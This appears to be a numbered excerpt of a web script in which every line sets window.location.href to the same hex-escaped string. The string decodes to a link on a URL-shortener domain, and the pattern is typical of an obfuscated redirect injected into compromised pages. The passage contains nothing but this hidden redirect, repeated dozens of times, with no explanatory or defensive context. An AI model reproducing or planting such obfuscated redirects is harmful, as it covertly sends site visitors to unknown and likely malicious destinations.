872window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
873window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
874window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
875window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
876window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
877window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
878window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
879window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
880window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
881window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
882window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
883window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
884window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
885window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
886window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
887window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
888window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
889window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
890window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
891window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
892window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
893window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
894window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
895window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
896window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
897window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
898window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
899window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
900window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
901window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
902window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
903window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
904window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
905window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
906window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
907window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
908window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";